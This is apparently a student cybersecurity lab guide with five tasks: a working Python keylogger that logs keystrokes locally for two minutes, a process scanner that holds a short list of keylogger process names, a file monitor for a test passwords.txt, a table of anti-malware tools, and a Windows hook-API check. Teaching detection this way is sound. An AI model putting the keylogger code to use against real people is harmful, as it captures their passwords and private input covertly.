

Task 1 — Keylogger demonstration

Install the required library:

- pip install pynput

Create keylogger_lab.py:

```
from pynput import keyboard
from datetime import datetime
import time

LOG_FILE = "keylog_lab.txt"
END_TIME = time.time() + 120 # 2 minutes

def on_press(key):
    if time.time() >= END_TIME:
        return False

    try:
        text = key.char
    except AttributeError:
        text = f"[{key.name}]"

    with open(LOG_FILE, "a", encoding="utf-8") as f:
        f.write(f"{datetime.now()} : {text}\n")

print("LAB KEYLOGGER STARTED")
print("Type some test text for 2 minutes...")
print(f"Output file: {LOG_FILE}")

with keyboard.Listener(on_press=on_press) as listener:
    while time.time() < END_TIME:
        time.sleep(0.2)

listener.stop()
```

```
print("Finished. Open keylog_lab.txt to verify the captured test input.")
```

Run:

- `python keylogger_lab.py`

Type something like:

- Cybersecurity Lab Test 123

After 2 minutes:

- `cat keylog_lab.txt`

On Windows PowerShell:

- `Get-Content keylog_lab.txt`

Task 2 — Detect suspicious processes

First install psutil:

- `pip install psutil`

Create `detect_keylogger.py`:

```
import psutil

def detect_keylogger_processes():
    suspicious = {
        "pykeylogger",
        "logger.exe",
        "keylogger.exe",
        "keylog.exe"
    }

    found = False

    for process in psutil.process_iter(["pid", "name"]):
        try:
            name = process.info["name"]
```

```

        if name and name.lower() in suspicious:
            print(
                f"[!] Suspicious process: "
                f"{name} | PID: {process.info['pid']}"
            )
            found = True

    except (psutil.NoSuchProcess, psutil.AccessDenied):
        continue

if not found:
    print("[+] No matching suspicious processes found.")

detect_keylogger_processes()

```

Run:

- python detect_keylogger.py

Expected result on a normal machine:

- [+] No matching suspicious processes found.

Task 3 — Monitor passwords.txt

Install Watchdog:

- pip install watchdog

Create a test directory:

```

keylogger_lab/
├── passwords.txt
└── file_monitor.py

```

Put harmless test data in passwords.txt, for example:

- TEST_PASSWORD=demo123

Then create file_monitor.py:

```
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
import os
import time
```

```
WATCH_FILE = os.path.abspath("passwords.txt")
```

```
class PasswordFileMonitor(FileSystemEventHandler):
```

```
    def check_file(self, path):
        if os.path.abspath(path) == WATCH_FILE:
            print("\n[ALERT] passwords.txt was accessed or changed!")
```

```
    def on_modified(self, event):
        if not event.is_directory:
            self.check_file(event.src_path)
```

```
    def on_created(self, event):
        if not event.is_directory:
            self.check_file(event.src_path)
```

```
    def on_deleted(self, event):
        if not event.is_directory:
            self.check_file(event.src_path)
```

```
folder = os.path.dirname(WATCH_FILE)
```

```
observer = Observer()
observer.schedule(
    PasswordFileMonitor(),
    folder,
    recursive=False
```

```

)

observer.start()

print("Monitoring:")
print(WATCH_FILE)
print("Press Ctrl+C to stop.")

try:
    while True:
        time.sleep(1)
except KeyboardInterrupt:
    observer.stop()

observer.join()

```

Run:

- python file_monitor.py

Then open passwords.txt and modify it.

Task 4 — 3 anti-keylogger/security tools

You can put this table directly into your assignment:

Tool	Platform	How it helps
Malwarebytes	Windows/Android	Detects and removes malware that may include keylogging or other monitoring components.
Microsoft Defender	Windows	Uses malware detection, behavioral monitoring, and other security protections to detect malicious software.
Bitdefender Mobile Security	Android	Scans applications and the device for malicious or

		suspicious software that could compromise user data.
--	--	--

The key point for your report is that modern anti-malware products generally don't work by simply searching for something named keylogger.exe; they combine signatures, behavior analysis, reputation, and other detection mechanisms.

Task 5 — Anti-keylogger Windows experiment

Windows API inspection with Python:

```
import ctypes

user32 = ctypes.windll.user32

apis = [
    "SetWindowsHookExW",
    "CallNextHookEx",
    "UnhookWindowsHookEx"
]

print("Windows keyboard-hook related APIs:")
print()

for api in apis:
    try:
        getattr(user32, api)
        print(f"[+] {api} is available")
    except AttributeError:
        print(f"[-] {api} is unavailable")

print()
print("This experiment does not disable keyboard input.")
print("It demonstrates that Windows exposes APIs used by applications")
```

```
print("to install and manage hooks.")
```

Run:

- `python anti_keylogger_lab.py`